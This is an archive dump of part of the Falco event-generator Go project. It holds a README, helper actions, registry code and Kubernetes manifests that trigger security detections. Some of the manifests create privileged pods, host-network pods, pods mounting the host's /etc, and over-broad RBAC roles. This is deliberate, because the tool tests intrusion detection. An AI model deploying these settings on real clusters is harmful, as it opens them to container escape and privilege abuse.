* [event-generator](event-generator.md)	 - A command line tool to perform a variety of suspect actions.

07070100000020000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002400000000falco-event-generator-0.12.0/events07070100000021000081A400000000000000000000000166F189F10000145C000000000000000000000000000000000000002E00000000falco-event-generator-0.12.0/events/README.md# The events registry

This package is a place for registering and exposing actions which trigger security events. 
It implements a very *minimalistic framework* by using several conventions (see below).

## Conventions

An *action* is a `func` that implements `events.Action` interface, and when called it should trigger an event that can be caught by at least one Falco rule. The fully qualified name of an *action* is in the form `<package>.<FuncName>` (eg.`syscall.WriteBelowEtc`). Finally, to implement an action, you must meet the following conventions.

### Choose a package

- The package name should reflect the data source name of the ruleset (ie. `syscall`).
- Each *action* must be put in a subpackage of `events` that matches the ruleset context.
- The `helper` subpackage is intended for actions that do not match a rule but can still be useful for implementing other actions.
- Before adding a new subpackage, propose your motivations to the maintainers.

#### Functions visibility

Only `func`s that implement the `events.Action` interface must be exported by a package. Other utility functions can be included, if needed, stating they are not exported names (a notable example is [syscall/utils_linux.go](https://github.com/falcosecurity/event-generator/blob/main/events/syscall/utils_linux.go)).

### Naming

- Use the name of the rule the action is intended for, remove all non-alphanumeric characters (eg. `s/[^([:alpha:]|[:digit:]]//g`), and convert it to:
    - *CamelCase* for function name (eg. `WriteBelowEtc`),
    - *underscore_case* for file name (eg. `write_below_etc.go`), alternativelly *dash-case* is acceptable to for file types other than `.go` (eg. `create-privileged-pod.yaml`).
- The resulting action name must match the name of the rule stripped of all non-alphanumeric characters when comparing those strings in a case insensitive manner.

### Registration

Each action must be registered by calling `events.Register()` or `events.RegisterWithName()` at initialization time, the first one will automatically extracts the name from the `func`'s name. For example:

```golang
var _ = events.Register(SystemUserInteractive)
```

Rules disabled by default or not included in the *stable* ruleset (if the [Rules Maturity Framework applies) must be skipped by default. For example:

```golang
var _ = events.Register(
	WriteBelowEtc,
	events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)
```

### Handling Unsupported Contexts/Prerequisites

When developing actions for the event-generator, it's essential to consider whether the action is applicable to the current execution context. For example, certain actions might be intended to run exclusively within containers or specific environments. Actions that require a specific context or prerequisite to execute successfully should skip the action by return events.ErrSkipped when the necessary conditions are not met For example:

```golang
func UserMgmtBinaries(h events.Helper) error { 
 	if h.InContainer() { 
 		return &events.ErrSkipped{ 
 			Reason: "'User mgmt binaries' is excluded in containers", 
 		} 
 	} 
	return h.SpawnAsWithSymlink("vipw", "helper.ExecLs") 
} 
```

### Behavior
Running an *action* should be an idempotent operation in the sense that it should not have additional effects if it is called more than once.
For this reason, *actions* should revert any operation that changed the state of the system (eg. if a file is created, then it has to be removed). For example:

```golang
func WriteBelowEtc(h events.Helper) error {
	const filename = "/etc/falco-event-generator"
	h.Log().Infof("writing to %s", filename)
	defer os.Remove(filename) // clean up here!!!
	return os.WriteFile(filename, nil, os.FileMode(0755))
}
```

## The k8saudit YAML loader

The `k8saudit` collection includes a facilitator for implementing *actions* that ones of just need to create K8s resources.

Basically, all files within the [./k8saudit/yaml/](https://github.com/falcosecurity/event-generator/tree/main/events/k8saudit/yaml) folder will be embedded into the binary at build time, then [yaml_loader.go](https://github.com/falcosecurity/event-generator/blob/main/events/k8saudit/yaml_loader.go) will automatically create and register an *action* for each of those at initialization time.


## Usage

Although the easiest way to use the registry is by using the provided CLI, it can be also used as a standalone package:

```golang
import (
	// register event collections you what to use
	_ "github.com/falcosecurity/event-generator/events/k8saudit"
	_ "github.com/falcosecurity/event-generator/events/syscall"

	"github.com/falcosecurity/event-generator/events"
)
```

Then you can retrieve actions by one of:

```golang

// return all registered actions
events.All()


// return all registered actions starting with syscall.Write
reg, _ := regexp.Compile(`syscall.Write`)
events.ByRegexp(reg)

// return all registered actions within the k8saudit collection
events.ByPackage("k8saudit")
```

Finally, to call an *action* you need a runner. The default runner implementation is [here](https://github.com/falcosecurity/event-generator/tree/master/pkg/runner).


07070100000022000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002B00000000falco-event-generator-0.12.0/events/helper07070100000023000081A400000000000000000000000166F189F100000820000000000000000000000000000000000000004500000000falco-event-generator-0.12.0/events/helper/combined_server_client.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package helper

import (
	"bytes"
	"errors"
	"net"
	"time"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(CombinedServerClient)

func CombinedServerClient(h events.Helper) error {
	serverAddr, err := net.ResolveUDPAddr("udp", "localhost:1234")
	if err != nil {
		return err
	}

	// start server
	serverConn, err := net.ListenUDP("udp", serverAddr)
	if err != nil {
		return err
	}
	defer func() {
		if err := serverConn.Close(); err != nil {
			h.Log().WithError(err).Error("failed to close server connection")
		}
	}()

	h.Log().Debug("server is listening on localhost:1234")

	buf := make([]byte, 1024)

	// wait for client to send data
	srvErr := make(chan error)
	go func() {
		defer close(srvErr)
		_, _, err = serverConn.ReadFromUDP(buf)
		srvErr <- err
	}()

	// connect to server and send data
	clientConn, err := net.DialUDP("udp", nil, serverAddr)
	if err != nil {
		return err
	}
	defer func() {
		if err := clientConn.Close(); err != nil {
			h.Log().WithError(err).Error("failed to close client connection")
		}
	}()

	data := []byte{0xCA, 0xFE, 0xBA, 0xBE}
	if _, err = clientConn.Write(data); err != nil {
		return err
	}

	h.Log().Debugf("client sent: %X", data)

	// wait for server to respond or timeout
	select {
	case err := <-srvErr:
		if err != nil {
			return err
		}
		h.Log().Debugf("server received: %X", bytes.Trim(buf, "\x00"))
		return nil
	case <-time.After(5 * time.Second):
		return errors.New("timeout")
	}
}
07070100000024000081A400000000000000000000000166F189F100000394000000000000000000000000000000000000003900000000falco-event-generator-0.12.0/events/helper/do_nothing.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package helper

import (
	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(DoNothing)

// DoNothing does nothing.
// It can be used to just test execve events or command line arguments
// when using the helper function SpawnAs.
func DoNothing(h events.Helper) error {
	return nil
}
07070100000025000081A400000000000000000000000166F189F100000343000000000000000000000000000000000000003600000000falco-event-generator-0.12.0/events/helper/exec_ls.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package helper

import (
	"os/exec"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(ExecLs)

// ExecLs executes /bin/ls.
func ExecLs(h events.Helper) error {
	return exec.Command("/bin/ls").Run()
}
07070100000026000081A400000000000000000000000166F189F10000070C000000000000000000000000000000000000004100000000falco-event-generator-0.12.0/events/helper/inbound_connection.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package helper

import (
	"fmt"
	"net"
	"strconv"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(InboundConnection)

func InboundConnection(h events.Helper) error {
	address, err := getAvailableLocalAddress(h)
	if err != nil {
		return err
	}

	listener, err := net.Listen("tcp", address)
	if err != nil {
		return err
	}
	defer func() {
		if err := listener.Close(); err != nil {
			h.Log().WithError(err).Error("failed to close listener")
		}
	}()

	return nil
}

func getAvailableLocalAddress(h events.Helper) (string, error) {
	addrs, err := net.InterfaceAddrs()
	if err != nil {
		return "", err
	}

	for _, addr := range addrs {
		ipNet, ok := addr.(*net.IPNet)
		if !ok {
			continue
		}

		if ipNet.IP.IsLoopback() || ipNet.IP.IsUnspecified() {
			continue
		}

		ip := ipNet.IP.To4()
		if ip == nil {
			continue
		}

		listener, err := net.ListenTCP("tcp4", &net.TCPAddr{IP: ip})
		if err != nil {
			continue
		}

		if err := listener.Close(); err != nil {
			h.Log().WithError(err).Error("failed to close listener")
			continue
		}

		return fmt.Sprintf("%s:%s", ip.String(), strconv.Itoa(listener.Addr().(*net.TCPAddr).Port)), nil
	}

	return "", err
}
07070100000027000081A400000000000000000000000166F189F1000003FC000000000000000000000000000000000000003F00000000falco-event-generator-0.12.0/events/helper/network_activity.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package helper

import (
	"net"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(NetworkActivity)

// NetworkActivity tries to connect to an andress.
func NetworkActivity(h events.Helper) error {
	conn, err := net.Dial("udp", "10.2.3.4:8192")
	defer func() {
		if err := conn.Close(); err != nil {
			h.Log().WithError(err).Error("failed to close connection")
		}
	}()

	return err
}
07070100000028000081A400000000000000000000000166F189F1000003F1000000000000000000000000000000000000004200000000falco-event-generator-0.12.0/events/helper/outbound_connection.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package helper

import (
	"net"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(OutboundConnection)

func OutboundConnection(h events.Helper) error {
	conn, err := net.Dial("udp", "example.net:53")
	if err != nil {
		return err
	}
	defer func() {
		if err := conn.Close(); err != nil {
			h.Log().WithError(err).Error("failed to close connection")
		}
	}()

	return nil
}
07070100000029000081A400000000000000000000000166F189F10000036F000000000000000000000000000000000000003800000000falco-event-generator-0.12.0/events/helper/run_shell.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package helper

import (
	"os/exec"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(RunShell)

// RunShell executes a dummy command in a shell.
func RunShell(h events.Helper) error {
	return exec.Command("sh", "-c", "ls > /dev/null").Run()
}
0707010000002A000081A400000000000000000000000166F189F1000009AC000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/events/interfaces.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package events

import (
	"fmt"
	"time"

	logger "github.com/sirupsen/logrus"
	"k8s.io/cli-runtime/pkg/resource"
)

// ErrSkipped must be returned by an action when skipped for any reason.
type ErrSkipped struct {
	Reason string
}

func (e *ErrSkipped) Error() string {
	return fmt.Sprintf("action skipped: %s", e.Reason)
}

// A Helper is passed to an Action as argument.
type Helper interface {

	// Log returns an intermediate logger.Entry
	// that already contains default fields for the current action.
	Log() *logger.Entry

	// Sleep pauses the current goroutine for at least the given duration and logs that.
	Sleep(time.Duration)

	// Cleanup registers a function to be called when the action complete or later.
	// Cleanup functions registered from within the same action will be called in last added,
	// first called order.
	Cleanup(f func(), args ...interface{})

	// SpawnAs starts a child process and waits for it to complete.
	// The child runs the given action as a different program name.
	// The current event-generator binary is copied with a differen name
	// prior to be run.
	SpawnAs(name string, action string, args ...string) error

	// SpawnAsWithSymlink works like SpawnAs, except that it does not make a
	// copy of the the current event-generator binary, but creates a symlink instead.
	SpawnAsWithSymlink(name string, action string, args ...string) error

	// Spawned returns true if the action is running in a child process.
	Spawned() bool

	// ResourceBuilder returns a k8s' resource.Builder.
	ResourceBuilder() *resource.Builder

	// InContainer returns true if the application is running in a container.
	// Useful to skip actions which won't work within a container.
	InContainer() bool

	// ExePath returns the path of the event-generator executable
	ExePath() string
}

// An Action triggers an event.
type Action func(Helper) error
0707010000002B000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002D00000000falco-event-generator-0.12.0/events/k8saudit0707010000002C000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/events/k8saudit/yaml0707010000002D000081A400000000000000000000000166F189F100000142000000000000000000000000000000000000005A00000000falco-event-generator-0.12.0/events/k8saudit/yaml/cluster-role-with-pod-exec-created.yamlapiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: pod-exec-role
  labels:
    app.kubernetes.io/name: pod-exec-role
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: ClusterRole-With-Pod-Exec-Created
rules:
- apiGroups:
    - ""
  resources:
    - "pods/exec"
  verbs:
    - get
0707010000002E000081A400000000000000000000000166F189F10000014E000000000000000000000000000000000000005A00000000falco-event-generator-0.12.0/events/k8saudit/yaml/cluster-role-with-wildcard-created.yamlapiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: wildcard-resources-role
  labels:
    app.kubernetes.io/name: wildcard-resources-role
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: ClusterRole-With-Wildcard-Created
rules:
- apiGroups:
    - ""
  resources:
    - "*"
  verbs:
    - get
0707010000002F000081A400000000000000000000000166F189F100000158000000000000000000000000000000000000006200000000falco-event-generator-0.12.0/events/k8saudit/yaml/cluster-role-with-write-privileges-created.yamlapiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: write-privileges-role
  labels:
    app.kubernetes.io/name: write-privileges-role
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: ClusterRole-With-Write-Privileges-Created
rules:
- apiGroups:
    - ""
  resources:
    - "pods"
  verbs:
    - create
07070100000030000081A400000000000000000000000166F189F100000292000000000000000000000000000000000000004D00000000falco-event-generator-0.12.0/events/k8saudit/yaml/create-disallowed-pod.yamlapiVersion: apps/v1
kind: Deployment
metadata:
  name: disallowed-pod-deployment
  labels:
    app.kubernetes.io/name: disallowed-pod-deployment
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: Create-Disallowed-Pod
spec:
  replicas: 1
  selector:
    matchLabels:
      app.kubernetes.io/name: disallowed-pod-busybox
  template:
    metadata:
      labels:
        app.kubernetes.io/name: disallowed-pod-busybox
        app.kubernetes.io/part-of: falco-event-generator
    spec:
      containers:
        - name: busybox
          image: busybox
          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
07070100000031000081A400000000000000000000000166F189F10000029F000000000000000000000000000000000000004F00000000falco-event-generator-0.12.0/events/k8saudit/yaml/create-host-network-pod.yamlapiVersion: apps/v1
kind: Deployment
metadata:
  name: hostnetwork-deployment
  labels:
    app.kubernetes.io/name: hostnetwork-deployment
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: Create-HostNetwork-Pod
spec:
  replicas: 1
  selector:
    matchLabels:
      app.kubernetes.io/name: hostnetwork-busybox
  template:
    metadata:
      labels:
        app.kubernetes.io/name: hostnetwork-busybox
        app.kubernetes.io/part-of: falco-event-generator
    spec:
      hostNetwork: true
      containers:
        - name: busybox
          image: busybox
          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
07070100000032000081A400000000000000000000000166F189F10000017F000000000000000000000000000000000000006800000000falco-event-generator-0.12.0/events/k8saudit/yaml/create-modify-configmap-with-private-credentials.yamlapiVersion: v1
kind: ConfigMap
metadata:
  name: private-creds-configmap
  labels:
    app.kubernetes.io/name: private-creds-configmap
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: Create-Modify-Configmap-With-Private-Credentials
data:
  ui.properties: |
    color.good=purple
    color.bad=yellow
    allow.textmode=true
    password=some_secret_password
07070100000033000081A400000000000000000000000166F189F100000124000000000000000000000000000000000000005000000000falco-event-generator-0.12.0/events/k8saudit/yaml/create-node-port-service.yamlapiVersion: v1
kind: Service
metadata:
  name: nodeport-service
  labels:
    app.kubernetes.io/name: nodeport-service
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: Create-NodePort-Service
spec:
  type: NodePort
  ports:
    - port: 80
  selector:
    app: busybox
07070100000034000081A400000000000000000000000166F189F1000002B9000000000000000000000000000000000000004D00000000falco-event-generator-0.12.0/events/k8saudit/yaml/create-privileged-pod.yamlapiVersion: apps/v1
kind: Deployment
metadata:
  name: privileged-deployment
  labels:
    app.kubernetes.io/name: privileged-deployment
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: Create-Privileged-Pod
spec:
  replicas: 1
  selector:
    matchLabels:
      app.kubernetes.io/name: privileged-busybox
  template:
    metadata:
      labels:
        app.kubernetes.io/name: privileged-busybox
        app.kubernetes.io/part-of: falco-event-generator
    spec:
      containers:
        - securityContext:
            privileged: true
          name: busybox
          image: busybox
          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]07070100000035000081A400000000000000000000000166F189F10000033C000000000000000000000000000000000000005200000000falco-event-generator-0.12.0/events/k8saudit/yaml/create-sensitive-mount-pod.yamlapiVersion: apps/v1
kind: Deployment
metadata:
  name: sensitive-mount-deployment
  labels:
    app.kubernetes.io/name: sensitive-mount-deployment
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: Create-Sensitive-Mount-Pod
spec:
  replicas: 1
  selector:
    matchLabels:
      app.kubernetes.io/name: sensitive-mount-busybox
  template:
    metadata:
      labels:
        app.kubernetes.io/name: sensitive-mount-busybox
        app.kubernetes.io/part-of: falco-event-generator
    spec:
      containers:
        - name: busybox
          image: busybox
          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
          volumeMounts:
            - mountPath: /host/etc
              name: etc
      volumes:
        - name: etc
          hostPath:
            path: /etc
07070100000036000081A400000000000000000000000166F189F100000135000000000000000000000000000000000000004E00000000falco-event-generator-0.12.0/events/k8saudit/yaml/k8s-config-map-created.yamlapiVersion: v1
kind: ConfigMap
metadata:
  name: vanilla-configmap
  labels:
    app.kubernetes.io/name: vanilla-configmap
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: K8s-ConfigMap-Created
data:
  ui.properties: |
    color.good=purple
    color.bad=yellow
    allow.textmode=true07070100000037000081A400000000000000000000000166F189F100000277000000000000000000000000000000000000004E00000000falco-event-generator-0.12.0/events/k8saudit/yaml/k8s-deployment-created.yamlapiVersion: apps/v1
kind: Deployment
metadata:
  name: vanilla-deployment
  labels:
    app.kubernetes.io/name: vanilla-deployment
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: K8s-Deployment-Created
spec:
  replicas: 1
  selector:
    matchLabels:
      app.kubernetes.io/name: vanilla-busybox
  template:
    metadata:
      labels:
        app.kubernetes.io/name: vanilla-busybox
        app.kubernetes.io/part-of: falco-event-generator
    spec:
      containers:
        - name: busybox
          image: busybox
          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
07070100000038000081A400000000000000000000000166F189F10000011E000000000000000000000000000000000000004B00000000falco-event-generator-0.12.0/events/k8saudit/yaml/k8s-service-created.yamlapiVersion: v1
kind: Service
metadata:
  name: vanilla-service
  labels:
    app.kubernetes.io/name: vanilla-service
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: K8s-Service-Created
spec:
  type: ClusterIP
  ports:
    - port: 80
  selector:
    app: busybox07070100000039000081A400000000000000000000000166F189F1000003E4000000000000000000000000000000000000005200000000falco-event-generator-0.12.0/events/k8saudit/yaml/k8s-serviceaccount-created.yamlapiVersion: v1
kind: ServiceAccount
metadata:
  name: vanilla-serviceaccount
  labels:
    app.kubernetes.io/name: vanilla-serviceaccount
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: K8s-Serviceaccount-Created
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: vanilla-role
  labels:
    app.kubernetes.io/name: vanilla-role
    app.kubernetes.io/part-of: falco-event-generator
    falco.rules: K8s-Role-Clusterrole-Created
    message: Creating-role
rules:
- apiGroups:
    - ""
  resources:
    - "pods"
  verbs:
    - list
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: vanilla-role-binding
  labels:
    app.kubernetes.io/name: vanilla-role-binding
    app.kubernetes.io/part-of: falco-event-generator
    falco.org/rule: K8s-Role-Clusterrolebinding-Created
roleRef:
  kind: Role
  name: vanilla-role
  apiGroup: rbac.authorization.k8s.io
subjects:
  - kind: ServiceAccount
    name: vanilla-service-account0707010000003A000081A400000000000000000000000166F189F100000619000000000000000000000000000000000000003E00000000falco-event-generator-0.12.0/events/k8saudit/yaml_disabled.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package k8saudit

// disabled items will be registered with events.WithDisabled() option
var disabled = map[string]bool{
	"cluster-role-with-pod-exec-created.yaml":               true,
	"cluster-role-with-wildcard-created.yaml":               true,
	"cluster-role-with-write-privileges-created.yaml":       true,
	"create-disallowed-pod.yaml":                            true,
	"create-host-network-pod.yaml":                          true,
	"create-modify-configmap-with-private-credentials.yaml": true,
	"create-node-port-service.yaml":                         true,
	"create-privileged-pod.yaml":                            true,
	"create-sensitive-mount-pod.yaml":                       true,
	"k8s-config-map-created.yaml":                           true,
	"k8s-deployment-created.yaml":                           true,
	"k8s-serviceaccount-created.yaml":                       true,
	"k8s-service-created.yaml":                              true,
}
0707010000003B000081A400000000000000000000000166F189F100000A6C000000000000000000000000000000000000003C00000000falco-event-generator-0.12.0/events/k8saudit/yaml_loader.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package k8saudit

import (
	"bytes"
	"errors"
	"path/filepath"
	"strings"

	"github.com/iancoleman/strcase"
	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
	"k8s.io/cli-runtime/pkg/resource"

	"github.com/falcosecurity/event-generator/events"
	"github.com/falcosecurity/event-generator/events/k8saudit/yaml"
)

func init() {
	for n, b := range yaml.Bundle {

		// The filename must be in the dash-case format,
		// so it will be converted to CamelCase and used as action's name.
		fileName := n
		fileContent := b
		name := strcase.ToCamel(strings.TrimSuffix(fileName, filepath.Ext(fileName)))
		actionName := "k8saudit." + name

		opts := make(events.Options, 0)
		if disabled[fileName] {
			opts = append(opts, events.WithDisabled())
		}

		events.RegisterWithName(func(h events.Helper) error {
			count := 0
			r := h.ResourceBuilder().
				Unstructured().
				// Schema(schema). // todo(leogr): do we need this?
				ContinueOnError().
				Stream(bytes.NewReader(fileContent), fileName).
				Flatten().
				Do()
			if err := r.Err(); err != nil {
				return err
			}

			err := r.Visit(func(info *resource.Info, err error) error {
				if err != nil {
					return err
				}

				log := h.Log().
					WithField("kind", info.Mapping.GroupVersionKind.Kind).
					WithField("name", info.Name)

				h.Cleanup(func() {
					if _, err := resource.
						NewHelper(info.Client, info.Mapping).
						DeleteWithOptions(info.Namespace, info.Name, &metav1.DeleteOptions{}); err != nil {
						log.WithError(err).Error("delete k8s resource")
					}
				}, log)

				log.Info("create k8s resource")
				obj, err := resource.
					NewHelper(info.Client, info.Mapping).
					Create(info.Namespace, true, info.Object)
				if err != nil {
					return err
				}

				if err := info.Refresh(obj, true); err != nil {
					log.WithError(err).Error("refresh k8s resource")
				}

				count++
				return nil
			})
			if err != nil {
				return err
			}
			if count == 0 {
				return errors.New("no objects passed to create")
			}
			return nil
		},
			actionName,
			opts...,
		)
	}
}
0707010000003C000081A400000000000000000000000166F189F1000004A4000000000000000000000000000000000000002F00000000falco-event-generator-0.12.0/events/options.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package events

var options = make(map[string]*actionOpts, 0)

type actionOpts struct {
	disabled bool
}

// Option is a functional option
type Option func(*actionOpts)

// Options is a slice of Option.
type Options []Option

func (o Options) applyTo(name string) {
	a, ok := options[name]
	if !ok {
		a = &actionOpts{}
		options[name] = a
	}
	for _, f := range o {
		f(a)
	}
}

func WithDisabled() Option {
	return func(a *actionOpts) {
		a.disabled = true
	}
}

func Disabled(name string) bool {
	if a, ok := options[name]; ok && a != nil {
		return a.disabled
	}
	return false
}
0707010000003D000081A400000000000000000000000166F189F1000009D5000000000000000000000000000000000000003000000000falco-event-generator-0.12.0/events/registry.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package events

import (
	"reflect"
	"regexp"
	"runtime"
	"strings"
)

var nonAlphaNumericReg = regexp.MustCompile("[^a-zA-Z0-9]+")

var registry = make(map[string]Action, 0)

// Register register an action.
func Register(f Action, opts ...Option) map[string]Action {
	n := getFuncName(f)
	checkName(n)
	return RegisterWithName(f, n, opts...)
}

// RegisterWithName registers an action with a given name.
func RegisterWithName(f Action, name string, opts ...Option) map[string]Action {
	checkName(name)
	registry[name] = f
	Options(opts).applyTo(name)
	return registry
}

func checkName(n string) {
	if n == "" { // todo(leogr): check name format too
		panic("event name cannot be empty")
	}
	if _, ok := registry[n]; ok {
		panic("event name already registered: " + n)
	}
}

func getFuncName(f interface{}) string {
	pc := reflect.ValueOf(f).Pointer()
	rf := runtime.FuncForPC(pc)
	parts := strings.Split(rf.Name(), "/")
	return parts[len(parts)-1]
}

// All returns a map of all registered actions
func All() map[string]Action {
	return registry
}

// ByRegexp returns a map of actions whose name matches the given regular expression.
func ByRegexp(r *regexp.Regexp) map[string]Action {
	ret := make(map[string]Action, 0)
	for n, f := range registry {
		if r.MatchString(n) {
			ret[n] = f
		}
	}
	return ret
}

// ByPackage returns a map of actions registered in given package.
func ByPackage(packageName string) map[string]Action {
	ret := make(map[string]Action, 0)
	for n, f := range registry {
		parts := strings.Split(n, ".")
		if len(parts) > 0 && parts[0] == packageName {
			ret[n] = f
		}
	}
	return ret
}

// MatchRule returns true if the name of an action matches a given rule.
func MatchRule(name string, rule string) bool {
	parts := strings.Split(name, ".")
	l := len(parts)
	if l == 0 {
		return false
	}

	return strings.EqualFold(parts[l-1], nonAlphaNumericReg.ReplaceAllString(rule, ""))
}
0707010000003E000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002C00000000falco-event-generator-0.12.0/events/syscall0707010000003F000081A400000000000000000000000166F189F10000052E000000000000000000000000000000000000005200000000falco-event-generator-0.12.0/events/syscall/adding_ssh_keys_to_authorized_keys.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
